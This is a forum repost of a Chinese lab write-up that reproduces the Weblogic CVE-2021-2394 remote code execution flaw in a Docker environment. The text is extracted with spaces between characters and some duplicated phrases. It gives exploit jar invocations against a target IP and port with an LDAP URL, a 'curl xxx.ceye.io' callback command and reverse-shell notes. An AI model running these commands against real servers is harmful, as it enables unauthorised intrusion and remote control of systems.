搜索

[7643] 2021-08-07_【超详细附EXP】WeblogicCVE-2021-2394RCE漏洞复现

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-17
2021-08-07_【超详细附EXP】WeblogicCVE-2021-2394RCE漏洞复现 【 超 详 细   |   附 E X P 】 W e b l o g i c   C V E - 2 0 2 1 - 2 3 9 4   R C E 漏 洞 复 现 F 1 2 s e c   2 0 2 1 - 0 8 - 0 7 以 下 文 章 来 源 于 渗 透 X i a o 白 帽   ， 作 者 S u P e j k j 0 x 0 1   前 言 前 言         近 日 翻 看 了 最 新 的 一 些 漏 洞 ， 看 到 了 一 个 w e b l o g i c 的 新 漏 洞 ， 便 找 了 一 些 网 上 的 文 章 资 料 ， 准 备 复 现 一 下 补 充 补 充 知 识 。 文 中 涉 及 的 工 具 可 后 台 回 复 关 键 字 文 中 涉 及 的 工 具 可 后 台 回 复 关 键 字 " 2 3 9 4 " 获 取 获 取 0 x 0 2   环 境 搭 建 环 境 搭 建 所 用 到 的 环 境 如 下 ： 这 里 直 接 利 用 d o c k e r 搭 建 的 环 境 0 x 0 3   漏 洞 复 现 漏 洞 复 现 先 起 个 L D A P 服 务 渗 透 渗 透 X i a o 白 帽 白 帽   . 积 硅 步 以 致 千 里 ， 积 怠 惰 以 致 深 渊 ！ d o c k e r   / /   这 里 用 的 是 v u l h u b 里 的 C V E - 2 0 2 0 - 1 4 8 8 2 漏 洞 环 境 c e y e . i o       / /       d n s 接 收 平 台 k a l i 虚 拟 机 两 台 d o c k e r - c o m p o s e   u p   - d           / / 启 动 环 境
执 行 E X P S u c c e s s ！ ！ ！ ！ 反 弹 s h e l l 命 令 如 下 ： j a v a   - j a r   J N D I - I n j e c t i o n - E x p l o i t - 1 . 0 - S N A P S H O T - a l l . j a r   - C   " c u r l   x x x . c e y e . i o "   - A   1 9 2 . 1 6 8 . 4 6 . 1 3 5 - C   [ 执 行 的 命 令 ]   - A   [ 开 启 l d a p 服 务 的 i p ] 命 令 如 下 ： j a v a   - j a r   C V E _ 2 0 2 1 _ 2 3 9 4 . j a r   1 9 2 . 1 6 8 . 4 6 . 1 3 1   7 0 0 1   l d a p : / / 1 9 2 . 1 6 8 . 4 6 . 1 3 5 : 1 3 8 9 / s 5 t b 3 e j a v a   - j a r   C V E _ 2 0 2 1 _ 2 3 9 4 . j a r   [ 被 攻 击 者 I P ]   [ 端 口 ]   [ 生 成 的 l d a p 服 务 ， 我 用 的 j d k 8 ]
注 意 ： 反 弹 s h e l l 时 命 令 需 要 进 行 b a s e 6 4 编 码 将 编 码 后 的 p a y l o a d 替 换 ， 启 动 L D A P 服 务 v p s 开 启 监 听 执 行 E X P 反 弹 反 弹 s h e l l 成 功 ！ ！ 成 功 ！ ！ h t t p : / / w w w . j a c k s o n - t . c a / r u n t i m e - e x e c - p a y l o a d s . h t m l
0 x 0 4   参 考 链 接 参 考 链 接 明 明 本 文 仅 供 学 习 交 流 ！ 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 文 章 作 者 本 文 仅 供 学 习 交 流 ！ 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 文 章 作 者 不 为 此 承 担 任 何 责 任 。 不 为 此 承 担 任 何 责 任 。 【 往 期 推 荐 】 【 往 期 推 荐 】 【 内 网 渗 透 】 内 网 信 息 收 集 命 令 汇 总 【 内 网 渗 透 】 域 内 信 息 收 集 命 令 汇 总 【 超 详 细   |   P y t h o n 】 C S 免 杀 - S h e l l c o d e   L o a d e r 原 理 ( p y t h o n ) 【 超 详 细   |   P y t h o n 】 C S 免 杀 - 分 离 + 混 淆 免 杀 思 路 【 超 详 细   |   钟 馗 之 眼 】 Z o o m E y e - p y t h o n 命 令 行 的 使 用 【 超 详 细 】 C V E - 2 0 2 0 - 1 4 8 8 2   |   W e b l o g i c 未 授 权 命 令 执 行 漏 洞 复 现 【 超 详 细   |   附 P o C 】 C V E - 2 0 2 1 - 2 1 0 9   |   W e b l o g i c   S e r v e r 远 程 代 码 执 行 漏 洞 复 现 【 漏 洞 分 析   |   附 E X P 】 C V E - 2 0 2 1 - 2 1 9 8 5   V M w a r e   v C e n t e r   S e r v e r   远 程 代 码 执 行 漏 洞 【 C N V D - 2 0 2 1 - 3 0 1 6 7   |   附 P o C 】 用 友 N C   B e a n S h e l l 远 程 代 码 执 行 漏 洞 复 现 【 奇 淫 巧 技 】 如 何 成 为 一 个 合 格 的 “ F O F A ” 工 程 师 记 一 次 H W 实 战 笔 记   |   艰 难 的 提 权 爬 坑 【 超 详 细 】 M i c r o s o f t   E x c h a n g e   远 程 代 码 执 行 漏 洞 复 现 【 C V E - 2 0 2 0 - 1 7 1 4 4 】 【 超 详 细 】 F a s t j s o n 1 . 2 . 2 4 反 序 列 化 漏 洞 复 现 走 过 路 过 的 大 佬 们 留 个 关 注 再 走 呗 走 过 路 过 的 大 佬 们 留 个 关 注 再 走 呗 往 期 文 章 有 彩 蛋 哦 往 期 文 章 有 彩 蛋 哦 h t t p s : / / m p . w e i x i n . q q . c o m / s / Z d A 1 7 t U _ P e J E k c 2 6 y f K 3 u Q h t t p s : / / w w w . c n b l o g s . c o m / p o t a t s o S e c / p / 1 5 0 6 2 0 9 4 . h t m l h t t p s : / / w w w . j i a n s h u . c o m / p / 6 0 f 0 f 8 6 6 7 a 6 f 声 声
一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 “ 如 侵 权 请 私 聊 公 众 号 删 文 如 侵 权 请 私 聊 公 众 号 删 文 ”
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理